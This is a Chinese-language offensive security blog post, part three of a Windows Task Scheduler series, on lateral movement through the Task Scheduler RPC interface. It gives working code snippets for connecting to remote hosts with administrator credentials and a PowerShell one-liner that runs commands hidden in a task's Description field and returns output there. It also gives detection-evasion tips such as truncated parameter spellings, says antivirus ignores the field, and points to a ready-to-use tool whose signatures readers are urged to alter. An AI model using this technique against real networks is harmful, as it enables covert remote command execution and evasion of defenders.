而其他的多个角度,无论是继续进行0x01最后对计划任务的跟踪,或是重新对UAC乃至COM进行挖掘,从研究的角度看都有很多细节值得发散开来。

限于篇幅,一些拓展性质的思考将在后续某些系列中进行讲解。

最后,还是那句话,文章的目的是传递知识,论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧,只有知识积累才是串联一切的根本,最终厚积薄发乃至蜕变。

希望这篇文章能在技术点之外为各位带来启发。

Advanced Windows Task Scheduler Playbook - Part.3 from RPC to lateral movement

0x00 问题

书接上文,在对计划任务组件本机调用的跟踪与研究下,我们将COMUACITaskService进行了巧妙的结合,从而成功地找到了一个新的UAC Bypass,或者说一个新的攻击面。

现在,不妨继续拓宽思路。回顾第一篇,我们在研究的开始确认了计划任务程序的本质为以XML为数据载体的RPC接口。按照微软的说法,RPC用于“跨进程间调用,不论进程是否在同一台主机上”。

所以,基于RPC协议的计划任务天生可用来进行横向移动。

当然,这并不是什么新技术,作为没在八月初猝死的那一批,我们已经再次狠狠地把玩了一番atexecschtasks甚至更古老的at.exe。这些技巧无一例外利用了计划任务组件RPC接口进行横向移动。在已知的利用方式中,我们可以通过在远程执行命令,写入文件,最终通过共享目录进行读取的方式完成回显;或是通过诸多无文件手段直接上线。

而在实战中,这些或多或少会遇到一些问题。例如文件回显的技巧可能面临共享无法访问、SMB协议不兼容等诸多非常规环境;除了环境限制的因素之外,对抗环境下更多时候还要面临“已知”带来的威胁:一个已知的攻击方式或手法,一定有对应的检测。

这也就进一步导致了一个很实际的问题:

工具也好,武器也好,平台也罢,无论在理论环境下运行的多么完美,实战环境下总可能“不那么好用”。

探究新方法永远是对抗的第一课题。现在,基于实战环境下的需要,我们为自己找了一个新课题:如何实现更为稳定的横移回显/环境探测?

0x01 思考

安全研究绝不是盲目地解决问题。在这里,我们的最终目的是探索一个(某些环境下)相对更好的横向移动技术,技术问题往往能够很容易的分解为多个递进的步骤,所以可以继续细化一些:

横向移动存在哪些阶段?每个阶段中分别涉及哪些技术?每个技术细节存在哪些优劣?

顺着这样的思路来思考,就会带出下面的技术细节:

横向移动需要连接到目标,在网络层面则表现为协议,那么第一个子问题就是:
采用什么协议?

协议承载服务,非漏洞的横向移动本质上是服务功能的滥用,所以可以分解出第二个子问题:
我们能够使用服务本身提供的哪些功能,来获取执行权限?

成功获取执行权限后,实战环境下往往需要一个结果反馈,我们得到第三个子问题:
服务本身是否可以直接返回结果?如果不支持,那么需要额外采用哪些手段?

最后,则是实战环境经久不衰的老问题:
上述方式实现是否存在已知的特征?

将上述阶段串联起来,就是我们期望进行的完整流程。这个思路可以用反序列化链/ROP做对比,我们把整个步骤视作Chain,每一步中任意实现均视作独立且可连接的Gadget,对抗点视作黑名单,结合已知的知识,很容易得到类似这样一个简单且不完善的表格:

协议服务执行返回对抗点SMBATSVC命令文件共享cmd /c重定向、文件落地SMBSRVSVC服务文件共享cmd /c重定向、文件落地RPC/DCOMWMI命令/服务文件共享/注册表cmd /c重定向、SMB依赖、流量UUID

看,威胁情报和安全研究串起来了,Web和对抗也有了联系。

考虑到我们正在研究计划任务,那么随之思考:计划任务能否做到这一点?
根据我们前两篇文章的研究结果,不难回答这一问题:

1.MS-TSCH基于RPC,无法关闭且多数情况下允许访问。
2.ExecAction提供无限制的命令执行,写入文件与注册表后,ComHandlerAction提供无限制的代码执行。
3.协议内部通过UTF-16编码,将完整的XML定义以原样传输至客户端。其中Description元素可无限制放置任何字符串内容。

Advanced Windows TaskScheduler Playbook


4.流量层面仅能够通过UUID捕获握手包,直接报警/阻拦可能影响服务器管理;主机层面进程链全部为白名单ExecAction不支持输出重定向所以需要无文件手段;ComHandlerAction需要无文件手段或其他方式写入文件注册表

所以我们的表格可以添加下面并列的两项:

协议服务执行返回对抗点RPCTSCH命令原生协议流量UUID、无文件攻击检测RPCTSCH命令原生协议流量UUID、文件注册表落地

考虑复杂度,基于无文件的ExecAction显然优于需要大量落地的ComHandlerAction

所以,我们的问题从横向移动顺理成章地转换为无文件攻击对抗

而这项至少十年的技术利用方式非常成熟,变换手段非常多样化,也就意味着我们拥有很多顺畅的实现方式。在当前场景下,我们需要利用无文件攻击执行命令或进行信息探测,并在随后修改计划任务信息作为返回。
显然,各种基于脚本形式的无文件攻击都能做到这一点,例如mshta、各种形式的sctxsltcmd、以及PowerShell
首先排除cmd;其次,考虑到前几种基于Windows脚本宿主(Windows Script Hosting)的技术需要对外发起http或smb请求,而文件落地又容易引起某些不必要的问题。所以,通过命令行实现完整脚本功能的PowerShell成为首选。

0x02 实现

确认了技术要点,实现起来就完全没难度了。

首先,我们参考前两章的内容,无论是照抄MSDN示例、自己编译IDL、使用C# Interop等等均可直接实现连接至远程目标,要做的无非是在使用RPC时指定正确的Binding,并调用RpcBindingSetAuthInfoEx

_SEC_WINNT_AUTH_IDENTITY identity = { 0 };
LPWSTR domain = L"ROOT";
LPWSTR username = L"administrator";
LPWSTR password = L"P@ssw0rd";
identity.Domain = (unsigned short*)domain;
identity.DomainLength = lstrlenW(domain);
identity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
identity.User = (unsigned short*)username;
identity.UserLength = lstrlenW(username);
identity.Password = (unsigned short*)password;
identity.PasswordLength = lstrlenW(password);
RpcBindingSetAuthInfoExW(hBinding, 0, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, &identity, 0, (RPC_SECURITY_QOS*)&qos);

或是在调用ITaskService::Connect时指定凭据:

pService->Connect(_variant_t(L"Target"), _variant_t(L"administrator"),_variant_t(L"ROOT"), _variant_t("P@ssw0rd"));

(体会到抽象透明的好处了么)

其次,PowerShell提供了针对计划任务的完整对象模型,并提供了Get-ScheduledTaskSet-ScheduledTask等一系列Cmdlet进行操作。我们甚至不需要参考msdn,仅根据本地的cmdlet帮助文档就可以写出类似这样的脚本:

$task=Get-ScheduledTask -TaskName TestTask -TaskPath \;
$task.Description=(iex $task.Description|out-string);
Set-ScheduledTask $task;

在这段脚本中,我们通过Get-ScheduledTask获取到远程操控的对象,通过iex执行Description中保存的命令,考虑到PowerShell一切返回均为对象,所以采用out-string将结果转换为可读的字符串,最后进行保存。

Gadget思想的一个重点在于:如果gadget没错,将gadget串联的逻辑也没错,那么最终的结果一定是正确的。所以接下来,我们只需要创建一个计划任务,将XML/Task/RegistrationInfo/Description元素内容设置为要执行的命令,将名称设置为TestTask,将命令行指定为上面的PowerShell命令,运行这个计划任务,Description将变为命令结果。

Advanced Windows TaskScheduler Playbook

最后只要读取XML的内容,匹配出Description内容即可。

var xd=new XmlDocument();
xd.LoadXml(task.Xml);
Console.WriteLine(xd.SelectSingleNode("/*[local-name()='Task']/*[local-name()='RegistrationInfo']/*[local-name()='Description']").InnerText);

0x03 打磨

通过上面思考至落地的过程,我们有了一个可执行、有效果的技术原型,接下来进行打磨,使之更贴近实战“武器”的状态。

首先,我们利用ExecAction创建计划任务,这意味着需要使用命令行传参,所以最好使用-EncodedCommand。这实际上和opsec无关,主要目的是为了处理转义可能带来的一系列问题。

在对抗层面,我们知道PowerShell处理参数的逻辑是根据前缀执行不区分大小写的匹配,所以实际上-EncodedCommand除了常见的-e-enc,还有类似以下几万种写法:

-eN
-eNCo
-Encode
....

计划任务在后台运行,所以最好加上-NonInteractive,同样的,这个参数也有以下几万种写法:

-nonInt
-nOnInTe
....

对付一些没有词法分析的常规防御手段,这些基本上足够了。

接下来,由于我们在进行横向移动,所以并不能确定命令在目标环境的执行时间,所以需要加一个轮询。

轮询的退出条件绝不能睿智地直接判断是否修改了Description,这实际上也不是不能用,但在脚本出错的情况下等于死循环。

IRegisteredTask对象提供了表示当前任务状态的State属性,任务运行结束后将由Running变为Ready,所以只要轮询读取任务状态即可。

while (task.State != TaskState.Ready)
{
    task = folder.GetTask(taskname);
    Thread.Sleep(1000);
}

接着是一些锦上添花的可选opsec手段,因为命令内容中并没有常见的(我特指下载执行这个被很多规则视作Powershell唯一滥用方式的)强特征,所以几乎不用处理。

同样的,没什么杀软会扫任务计划的Description属性(无论对象内存还是Xml),所以默认不进行处理也是足够的。

当然,这些都是后续,等到这个方法被捕获了部分“强特征”,到时候处理一下iex,对返回命令进行编码就会变为新的对抗点等待挖掘。

最后,不要忘记iex实际上执行的是PowerShell脚本,所以,这是一个远程PowerShell(回忆一下WinRM),也就意味着我们不光可以执行命令行程序

Advanced Windows TaskScheduler Playbook

也可以执行任意Cmdlet

Advanced Windows TaskScheduler Playbook

甚至于更为复杂的脚本

Advanced Windows TaskScheduler Playbook

也即意味着,一切.Net能做到的事情,我们都能在远程(Remotly)无文件(fileless)无感知(undetectable)地进行操作。再进一步修改我们甚至能够做到真正基于MS-TSCH实现的交互式(Interactive)远程PowerShell。

(为什么上面说可能脚本出错?这里就是了)

0x04 反思

至此,和计划任务相关的内容基本结束了。接下来我们跳出计划任务角度,站在应用场景的角度来回顾曾经我们可用的方案。一方面做个简单的总结,另一方面,想一想如何合理地进行使用。

在横向移动这个场景下,除了漏洞与计划任务之外,最为经典好用的技术要数PsExecWMI这两种。

为什么PsExec经久不衰?除了微软签名带来曾经的opsec之外,还有着通过域环境下默认必须开启的SMB协议,实现了单协议的横移与回显结合的特点,所以在相当长的时间用作内网渗透的首选。哪怕是现在,基于Impacket或是API的自修改版PsExec依然能起到不俗的作用。

为什么后续换成WmiExec?因为WMI服务同样默认开启,且基本上不存在关闭的可能,通过stdregprov依然可以达到同协议回显的目的,从而变为基于DCOM协议横移的首选。

现在,我们多了基于RPC的taskexec这个技术选择。
是的,这仅仅是一个技术补充,而非替代品。

为什么?

因为每一种攻击技术,必定有着不同的应用范围/环境要求,同时必定存在各种各样的强特征
所有声称无感的(undetectable)绕过(bypass)/逃逸(evasion)方式,只是没有捕获强特征罢了
强特征意味着被检测、被追溯的可能。
但没有哪家产品敢于声称100%检测某一技术与其变种
也没有哪家产品能够做到100%无需人为判断/处置。
而且检测和追溯需要
更何况验证自动化的结果进行处置同样需要
在我们从钓鱼的变成钓鱼佬之前,几乎不可能见到这个场景下可以替代人工的AI大规模商用。

所以,每一个备选项在实战中,都是通向成功的一个Gadget。更深入一些,在最初0x01列出的mshtasctComHandler等等未选择的实现方式同样也是备选项,都是在实现基于任务计划的横向移动这一目的的过程中可用的Gadget。
甚至于将这些备选项重新组合,还能得到另外一大堆很好用的chain

而本文所述内容,则是在对抗-内网渗透-域-RPC这个更大的行为链条中的一个更大的gadget。

0x05 总结

这是本系列第三篇,我们从应用场景入手,随后进行可行性分析,接下来根据分析的内容进行原型实验,最后结合实战经验,打磨出一个全新的横向移动工具。

与人斗,其乐无穷。安全研究实质上是人与人之间的博弈,从纯粹技术的角度看来,每一个精通掌握的技术点都应当能够变为我们的Gadget储备,并结合我们长期积累的经验,在过程中动态地创造一条合理的Chain,最终在实战中发扬光大。

实战应用应当是知识的有机组合,不存在一劳永逸绝对成功的技巧,但知识的积累与理解能让我们更加轻松。

当然,如果你就是喜欢无脑12345,那权当我什么都没说

文章中的代码可以在Github找到,这次是一个没什么坑的原型,可以直接用,但最好自行修改一些特征防止撞车。

还是那句话,希望这篇文章能在技术点之外为各位带来启发。

To be continued....

❌
❌